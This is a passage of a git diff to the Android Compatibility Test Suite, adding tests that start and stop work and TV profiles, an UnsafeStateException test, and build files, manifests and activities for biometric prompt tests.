+            assertThat(activityManager.startProfile(workProfile)).isTrue();
+            mUserStartStopLock.wait(USER_START_TIMEOUT_MILLIS);
+        }
+
+        assertThat(USER_MANAGER.isUserRunning(workProfile)).isTrue();
+
+        CONTEXT.unregisterReceiver(mBroadcastReceiver);
+    }
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    public void testStopProfile() throws InterruptedException {
+        //TODO: b/171565394 - remove after infra supports shell permissions annotation
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+
+        UserHandle workProfile = DEVICE_STATE.getWorkProfile();
+        registerBroadcastReceiver(workProfile);
+
+        //TODO: b/171565394 - remove after infra. guarantees users are started
+        assertThat(USER_MANAGER.isUserRunning(workProfile)).isTrue();
+
+        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
+        synchronized (mUserStartStopLock) {
+            assertThat(activityManager.stopProfile(workProfile)).isTrue();
+            mUserStartStopLock.wait(USER_START_TIMEOUT_MILLIS);
+        }
+
+        assertThat(USER_MANAGER.isUserRunning(workProfile)).isFalse();
+
+        CONTEXT.unregisterReceiver(mBroadcastReceiver);
+
+        //TODO: b/171565394 - move/remove this when DeviceState impl. state restore (reusing users)
+        //restore started state
+        runCommandWithOutput("am start-user -w " + workProfile.getIdentifier());
+    }
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    public void testStopAndRestartProfile() throws InterruptedException {
+        //TODO: b/171565394 - remove after infra supports shell permissions annotation
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+
+        UserHandle workProfile = DEVICE_STATE.getWorkProfile();
+        registerBroadcastReceiver(workProfile);
+
+        //TODO: b/171565394 - remove after infra. guarantees users are started
+        assertThat(USER_MANAGER.isUserRunning(workProfile)).isTrue();
+
+        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
+        synchronized (mUserStartStopLock) {
+            assertThat(activityManager.stopProfile(workProfile)).isTrue();
+            mUserStartStopLock.wait(USER_START_TIMEOUT_MILLIS);
+        }
+        // start profile as soon as ACTION_PROFILE_INACCESSIBLE is received
+        // verify that ACTION_PROFILE_ACCESSIBLE is received if profile is re-started
+        mBroadcastReceived = false;
+        synchronized (mUserStartStopLock) {
+            assertThat(activityManager.startProfile(workProfile)).isTrue();
+            mUserStartStopLock.wait(USER_START_TIMEOUT_MILLIS);
+        }
+
+        assertWithMessage("Expected to receive ACTION_PROFILE_ACCESSIBLE broadcast").that(
+                mBroadcastReceived).isTrue();
+        assertThat(USER_MANAGER.isUserRunning(workProfile)).isTrue();
+
+        CONTEXT.unregisterReceiver(mBroadcastReceiver);
+
+        //TODO: b/171565394 - move/remove this when DeviceState impl. state restore (reusing users)
+        //restore started state
+        runCommandWithOutput("am start-user -w " + workProfile.getIdentifier());
+    }
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    public void testStopAndRestartProfile_dontWaitForBroadcast() throws InterruptedException {
+        //TODO: b/171565394 - remove after infra supports shell permissions annotation
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+
+        UserHandle workProfile = DEVICE_STATE.getWorkProfile();
+        registerBroadcastReceiver(workProfile);
+
+        //TODO: b/171565394 - remove after infra. guarantees users are started
+        assertThat(USER_MANAGER.isUserRunning(workProfile)).isTrue();
+
+        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
+        // stop and restart profile without waiting for ACTION_PROFILE_INACCESSIBLE broadcast
+        // ACTION_PROFILE_ACCESSIBLE should not be received as profile was not fully stopped before
+        // restarting
+        assertThat(activityManager.stopProfile(workProfile)).isTrue();
+        mBroadcastReceived = false;
+        synchronized (mUserStartStopLock) {
+            assertThat(activityManager.startProfile(workProfile)).isTrue();
+            mUserStartStopLock.wait(USER_START_TIMEOUT_MILLIS);
+        }
+
+        assertWithMessage("Should have not received ACTION_PROFILE_ACCESSIBLE broadcast").that(
+                mBroadcastReceived).isFalse();
+        assertThat(USER_MANAGER.isUserRunning(workProfile)).isTrue();
+
+        CONTEXT.unregisterReceiver(mBroadcastReceiver);
+
+        //TODO: b/171565394 - move/remove this when DeviceState impl. state restore (reusing users)
+        //restore started state
+        runCommandWithOutput("am start-user -w " + workProfile.getIdentifier());
+    }
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    public void testStartProfileWithoutPermission_throwsException() {
+        UserHandle workProfile = DEVICE_STATE.getWorkProfile();
+
+        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
+        try {
+            activityManager.startProfile(workProfile);
+            fail("Should have received an exception");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    public void testStopProfileWithoutPermission_throwsException() {
+        UserHandle workProfile = DEVICE_STATE.getWorkProfile();
+
+        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
+        try {
+            activityManager.stopProfile(workProfile);
+            fail("Should have received an exception");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasSecondaryUser
+    public void testStartFullUserAsProfile_throwsException() {
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+
+        UserHandle secondaryUser = DEVICE_STATE.getSecondaryUser();
+
+        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
+        try {
+            activityManager.startProfile(secondaryUser);
+            fail("Should have received an exception");
+        } catch (IllegalArgumentException expected) {
+        }
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasSecondaryUser
+    public void testStopFullUserAsProfile_throwsException() {
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+
+        UserHandle secondaryUser = DEVICE_STATE.getSecondaryUser();
+
+        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
+        try {
+            activityManager.stopProfile(secondaryUser);
+            fail("Should have received an exception");
+        } catch (IllegalArgumentException expected) {
+        }
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    public void testStartTvProfile() throws InterruptedException {
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+
+        //TODO: b/171565394 - migrate to new test annotation for tv profile tests
+        UserHandle tvProfile = createCustomProfile("com.android.tv.profile", false);
+        assumeTrue(tvProfile != null);
+
+        registerBroadcastReceiver(tvProfile);
+
+        assertThat(USER_MANAGER.isUserRunning(tvProfile)).isFalse();
+
+        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
+        synchronized (mUserStartStopLock) {
+            assertThat(activityManager.startProfile(tvProfile)).isTrue();
+            mUserStartStopLock.wait(USER_START_TIMEOUT_MILLIS);
+        }
+
+        assertThat(USER_MANAGER.isUserRunning(tvProfile)).isTrue();
+
+        CONTEXT.unregisterReceiver(mBroadcastReceiver);
+
+        cleanupCustomProfile(tvProfile);
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    public void testStopTvProfile() throws InterruptedException {
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+
+        //TODO: b/171565394 - migrate to new test annotation for tv profile tests
+        UserHandle tvProfile = createCustomProfile("com.android.tv.profile", true);
+        assumeTrue(tvProfile != null);
+
+        registerBroadcastReceiver(tvProfile);
+
+        assertThat(USER_MANAGER.isUserRunning(tvProfile)).isTrue();
+
+        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
+        synchronized (mUserStartStopLock) {
+            assertThat(activityManager.stopProfile(tvProfile)).isTrue();
+            mUserStartStopLock.wait(USER_START_TIMEOUT_MILLIS);
+        }
+
+        assertThat(USER_MANAGER.isUserRunning(tvProfile)).isFalse();
+
+        CONTEXT.unregisterReceiver(mBroadcastReceiver);
+
+        cleanupCustomProfile(tvProfile);
+    }
+
+    private UserHandle createCustomProfile(String profileType, boolean startAfterCreation) {
+        UserHandle userHandle;
+        try {
+            userHandle = CONTEXT.getSystemService(UserManager.class).createProfile(
+                    "testProfile", profileType, new ArraySet<>());
+            if (startAfterCreation && userHandle != null) {
+                runCommandWithOutput("am start-user -w " + userHandle.getIdentifier());
+            }
+        } catch (NullPointerException e) {
+            userHandle = null;
+        }
+        return userHandle;
+    }
+
+    private void cleanupCustomProfile(UserHandle userHandle) {
+        runCommandWithOutput("pm remove-user " + userHandle.getIdentifier());
+    }
+
+    private String runCommandWithOutput(String command) {
+        ParcelFileDescriptor p =  mUiAutomation.executeShellCommand(command);
+
+        InputStream inputStream = new FileInputStream(p.getFileDescriptor());
+
+        try (Scanner scanner = new Scanner(inputStream, UTF_8.name())) {
+            return scanner.useDelimiter("\\A").next();
+        } catch (NoSuchElementException e) {
+            return "";
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/UnsafeStateExceptionTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/UnsafeStateExceptionTest.java
new file mode 100644
index 0000000..0d2ecca
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/UnsafeStateExceptionTest.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.devicepolicy.cts;
+
+import static android.app.admin.DevicePolicyManager.OPERATION_SAFETY_REASON_DRIVING_DISTRACTION;
+import static android.app.admin.DevicePolicyManager.OPERATION_SAFETY_REASON_NONE;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.admin.UnsafeStateException;
+
+import org.junit.Test;
+
+// TODO(b/174859111): move to automotive-specific section
+public final class UnsafeStateExceptionTest {
+
+    private static final int VALID_OPERATION = Integer.MAX_VALUE; // Value doesn't really matter...
+
+    @Test
+    public void testValidReason_drivingDistraction() {
+        assertExceptionWithValidReason(OPERATION_SAFETY_REASON_DRIVING_DISTRACTION);
+    }
+
+    @Test
+    public void testInvalidReason_none() {
+        assertExceptionWithInvalidReason(OPERATION_SAFETY_REASON_NONE);
+    }
+
+    @Test
+    public void testInvalidReason_arbitrary() {
+        assertExceptionWithInvalidReason(0);
+        assertExceptionWithInvalidReason(42);
+        assertExceptionWithInvalidReason(108);
+        assertExceptionWithInvalidReason(Integer.MIN_VALUE);
+        assertExceptionWithInvalidReason(Integer.MAX_VALUE);
+    }
+
+    private void assertExceptionWithValidReason(int reason) {
+        UnsafeStateException exception = new UnsafeStateException(VALID_OPERATION, reason);
+
+        assertWithMessage("operation").that(exception.getOperation()).isEqualTo(VALID_OPERATION);
+        assertWithMessage("reasons").that(exception.getReasons()).containsExactly(reason);
+    }
+
+    private void assertExceptionWithInvalidReason(int reason) {
+        assertThrows(IllegalArgumentException.class,
+                () -> new UnsafeStateException(VALID_OPERATION, reason));
+    }
+}
diff --git a/tests/filesystem/Android.bp b/tests/filesystem/Android.bp
index beac115..7294c91 100644
--- a/tests/filesystem/Android.bp
+++ b/tests/filesystem/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsFileSystemTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/fragment/Android.bp b/tests/fragment/Android.bp
index 15e9af9..ee2fdde 100644
--- a/tests/fragment/Android.bp
+++ b/tests/fragment/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsFragmentTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/fragment/AndroidManifest.xml b/tests/fragment/AndroidManifest.xml
index 447f9a8..9a16a60 100644
--- a/tests/fragment/AndroidManifest.xml
+++ b/tests/fragment/AndroidManifest.xml
@@ -13,29 +13,31 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.fragment.cts"
-    android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.fragment.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name=".FragmentTestActivity">
+        <activity android:name=".FragmentTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name=".LoaderActivity"/>
-        <activity android:name=".NewIntentActivity" android:launchMode="singleInstance" />
+        <activity android:name=".NewIntentActivity"
+             android:launchMode="singleInstance"/>
         <activity android:name=".ConfigOnStopActivity"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.fragment.cts"
-                     android:label="CTS tests of android.app Fragments" />
+         android:targetPackage="android.fragment.cts"
+         android:label="CTS tests of android.app Fragments"/>
 
 </manifest>
-
diff --git a/tests/fragment/sdk26/Android.bp b/tests/fragment/sdk26/Android.bp
index 7408302..7c40314 100644
--- a/tests/fragment/sdk26/Android.bp
+++ b/tests/fragment/sdk26/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsFragmentTestCasesSdk26",
     defaults: ["cts_defaults"],
@@ -34,5 +30,7 @@
         "general-tests",
     ],
 
-    sdk_version: "26",
+    sdk_version: "30",
+    min_sdk_version: "26",
+    target_sdk_version: "26",
 }
diff --git a/tests/framework/base/OWNERS b/tests/framework/base/OWNERS
index a4fd3a5..f204dab 100644
--- a/tests/framework/base/OWNERS
+++ b/tests/framework/base/OWNERS
@@ -7,3 +7,9 @@
 akulian@google.com
 roosa@google.com
 takaoka@google.com
+
+# Biometrics
+kchyn@google.com
+
+# Suggestions
+tmfang@google.com
diff --git a/tests/framework/base/biometrics/Android.bp b/tests/framework/base/biometrics/Android.bp
new file mode 100644
index 0000000..057a2f8
--- /dev/null
+++ b/tests/framework/base/biometrics/Android.bp
@@ -0,0 +1,57 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsBiometricsTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    compile_multilib: "both",
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "cts-input-lib",
+        "cts-wm-util",
+        "ctstestrunner-axt",
+        "mockito-target-minus-junit4",
+        "platform-test-annotations",
+        "platformprotosnano",
+        "ub-uiautomator",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+}
+
+java_test_helper_library {
+    name: "cts-biometric-util",
+
+    static_libs: [
+        "androidx.annotation_annotation",
+        "cts-wm-util",
+    ],
+
+    srcs: [
+        "src/android/server/biometrics/BiometricCallbackHelper.java",
+        "src/android/server/biometrics/fingerprint/FingerprintCallbackHelper.java",
+    ],
+}
\ No newline at end of file
diff --git a/tests/framework/base/biometrics/AndroidManifest.xml b/tests/framework/base/biometrics/AndroidManifest.xml
new file mode 100644
index 0000000..67a070d
--- /dev/null
+++ b/tests/framework/base/biometrics/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.server.biometrics.cts">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+
+        <provider android:name="android.server.wm.TestJournalProvider"
+            android:authorities="android.server.wm.testjournalprovider"
+            android:exported="true"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.server.biometrics.cts"
+        android:label="CTS tests for Biometrics">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
diff --git a/tests/framework/base/biometrics/AndroidTest.xml b/tests/framework/base/biometrics/AndroidTest.xml
new file mode 100644
index 0000000..1e7854c
--- /dev/null
+++ b/tests/framework/base/biometrics/AndroidTest.xml
@@ -0,0 +1,35 @@
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for CTS Hardware test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsBiometricsTestCases.apk" />
+        <option name="test-file-name" value="CtsBiometricServiceTestApp.apk" />
+        <option name="test-file-name" value="CtsFingerprintServiceTestApp.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.server.biometrics.cts" />
+        <option name="runtime-hint" value="14s" />
+        <!-- test-timeout unit is ms, value = 1 min -->
+        <option name="test-timeout" value="60000" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/tests/framework/base/biometrics/OWNERS b/tests/framework/base/biometrics/OWNERS
new file mode 100644
index 0000000..15711bb
--- /dev/null
+++ b/tests/framework/base/biometrics/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 879035
+kchyn@google.com
\ No newline at end of file
diff --git a/tests/framework/base/biometrics/apps/biometrics/Android.bp b/tests/framework/base/biometrics/apps/biometrics/Android.bp
new file mode 100644
index 0000000..186d46c
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/biometrics/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsBiometricServiceTestApp",
+    defaults: ["cts_support_defaults"],
+
+    static_libs: [
+        "cts-biometric-util",
+        "cts-wm-app-base",
+    ],
+
+    srcs: [
+        "src/**/*.java",
+    ],
+
+    sdk_version: "test_current",
+
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
\ No newline at end of file
diff --git a/tests/framework/base/biometrics/apps/biometrics/AndroidManifest.xml b/tests/framework/base/biometrics/apps/biometrics/AndroidManifest.xml
new file mode 100644
index 0000000..c721983
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/biometrics/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.server.biometrics">
+
+    <uses-permission android:name="android.permission.USE_BIOMETRIC"/>
+
+    <application>
+        <activity android:name="android.server.biometrics.Class2BiometricOrCredentialActivity"
+            android:exported="true"/>
+        <activity android:name="android.server.biometrics.Class2BiometricActivity"
+            android:exported="true"/>
+    </application>
+
+</manifest>
\ No newline at end of file
diff --git a/tests/framework/base/biometrics/apps/biometrics/OWNERS b/tests/framework/base/biometrics/apps/biometrics/OWNERS
new file mode 100644
index 0000000..15711bb
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/biometrics/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 879035
+kchyn@google.com
\ No newline at end of file
diff --git a/tests/framework/base/biometrics/apps/biometrics/src/android/server/biometrics/Class2BiometricActivity.java b/tests/framework/base/biometrics/apps/biometrics/src/android/server/biometrics/Class2BiometricActivity.java
new file mode 100644
index 0000000..438b4f6
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/biometrics/src/android/server/biometrics/Class2BiometricActivity.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import android.app.Activity;
+import android.hardware.biometrics.BiometricManager;
+import android.hardware.biometrics.BiometricPrompt;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+
+import java.util.concurrent.Executor;
+
+/**
+ * Test app that invokes authentication in onCreate
+ */
+public class Class2BiometricActivity extends Activity {
+    private static final String TAG = "Class2BiometricActivity";
+
+    @Override
+    protected void onCreate(@Nullable Bundle bundle) {
+        super.onCreate(bundle);
+        final Handler handler = new Handler(Looper.getMainLooper());
+        final Executor executor = handler::post;
+        final BiometricCallbackHelper callbackHelper = new BiometricCallbackHelper(this);
+
+        final BiometricPrompt bp = new BiometricPrompt.Builder(this)
+                .setTitle("Title")
+                .setSubtitle("Subtitle")
+                .setDescription("Description")
+                .setNegativeButton("Negative Button", executor, (dialog, which) -> {
+                    callbackHelper.onNegativeButtonPressed();
+                })
+                .setAllowedAuthenticators(BiometricManager.Authenticators.BIOMETRIC_WEAK)
+                .build();
+
+        bp.authenticate(new CancellationSignal(), executor, callbackHelper);
+    }
+}
diff --git a/tests/framework/base/biometrics/apps/biometrics/src/android/server/biometrics/Class2BiometricOrCredentialActivity.java b/tests/framework/base/biometrics/apps/biometrics/src/android/server/biometrics/Class2BiometricOrCredentialActivity.java
new file mode 100644
index 0000000..be3b0dd
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/biometrics/src/android/server/biometrics/Class2BiometricOrCredentialActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import android.app.Activity;
+import android.hardware.biometrics.BiometricManager;
+import android.hardware.biometrics.BiometricPrompt;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+import android.os.Handler;
+import android.os.Looper;
+
+import androidx.annotation.Nullable;
+
+import java.util.concurrent.Executor;
+
+/**
+ * Test app that invokes authentication in onCreate
+ */
+public class Class2BiometricOrCredentialActivity extends Activity {
+    @Override
+    protected void onCreate(@Nullable Bundle bundle) {
+        super.onCreate(bundle);
+        final Handler handler = new Handler(Looper.getMainLooper());
+        final Executor executor = handler::post;
+        final BiometricCallbackHelper callbackHelper = new BiometricCallbackHelper(this);
+
+        final BiometricPrompt bp = new BiometricPrompt.Builder(this)
+                .setTitle("Title")
+                .setSubtitle("Subtitle")
+                .setDescription("Description")
+                .setAllowedAuthenticators(BiometricManager.Authenticators.BIOMETRIC_WEAK
+                        | BiometricManager.Authenticators.DEVICE_CREDENTIAL)
+                .build();
+
+        bp.authenticate(new CancellationSignal(), executor, callbackHelper);
+    }
+}
diff --git a/tests/framework/base/biometrics/apps/fingerprint/Android.bp b/tests/framework/base/biometrics/apps/fingerprint/Android.bp
new file mode 100644
index 0000000..6829782
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/fingerprint/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsFingerprintServiceTestApp",
+    defaults: ["cts_support_defaults"],
+
+    static_libs: [
+        "cts-biometric-util",
+        "cts-wm-app-base",
+    ],
+
+    srcs: [
+        "src/**/*.java",
+    ],
+
+    sdk_version: "test_current",
+
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
\ No newline at end of file
diff --git a/tests/framework/base/biometrics/apps/fingerprint/AndroidManifest.xml b/tests/framework/base/biometrics/apps/fingerprint/AndroidManifest.xml
new file mode 100644
index 0000000..670f19a
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/fingerprint/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
